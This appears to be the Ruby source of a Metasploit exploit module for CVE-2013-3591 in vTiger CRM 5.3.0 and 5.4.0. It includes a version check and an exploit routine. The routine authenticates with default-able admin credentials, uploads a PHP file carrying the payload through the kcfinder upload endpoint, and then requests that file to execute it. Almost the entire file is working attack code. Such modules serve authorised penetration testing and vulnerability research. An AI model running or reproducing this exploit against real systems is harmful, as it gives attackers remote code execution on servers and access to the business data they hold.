128 lines
3.8 KiB
Ruby
128 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution',
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'Description' => %q{
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vTiger CRM allows an authenticated user to upload files to embed within documents.
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Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP
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script and execute arbitrary PHP code remotely.
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This module was tested against vTiger CRM v5.4.0 and v5.3.0.
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},
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'Author' =>
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[
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'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2013-3591'],
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['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Payload' =>
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{
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'BadChars' => "&\n=+%",
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},
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 30 2013'))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']),
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OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
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OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin'])
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])
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end
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def check
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res = nil
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begin
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res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') })
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rescue
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vprint_error("Unable to access the index.php file")
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return CheckCode::Unknown
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end
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if res and res.code != 200
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vprint_error("Error accessing the index.php file")
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return CheckCode::Unknown
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end
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if res.body =~ /<div class="poweredBy">Powered by vtiger CRM - (.*)<\/div>/i
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vprint_status("vTiger CRM version: " + $1)
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case $1
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when '5.4.0', '5.3.0'
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return CheckCode::Appears
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else
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return CheckCode::Detected
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end
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end
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return CheckCode::Safe
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end
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def exploit
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init = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, '/index.php')
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})
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sess = init.get_cookies
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post = {
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'module' => 'Users',
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'action' => 'Authenticate',
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'return_module' => 'Users',
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'return_action' => 'Login',
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'user_name' => datastore['USERNAME'],
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'user_password' => datastore['PASSWORD']
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}
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login = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '/index.php'),
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'vars_post' => post,
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'cookie' => sess
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})
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fname = rand_text_alphanumeric(rand(10)+6) + '.php3'
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cookies = login.get_cookies
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php = %Q|<?php #{payload.encoded} ?>|
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data = Rex::MIME::Message.new
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data.add_part(php, 'application/x-php', nil, "form-data; name=\"upload\"; filename=\"#{fname}\"");
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data.add_part('files', nil, nil, 'form-data; name="dir"')
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data_post = data.to_s
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '/kcfinder/browse.php?type=files&lng=en&act=upload'),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => data_post,
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'cookie' => cookies
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})
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if res and res.code == 200
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print_status("Triggering payload...")
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send_request_raw({'uri' => datastore["TARGETURI"] + "/test/upload/files/#{fname}"}, 5)
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end
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end
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end
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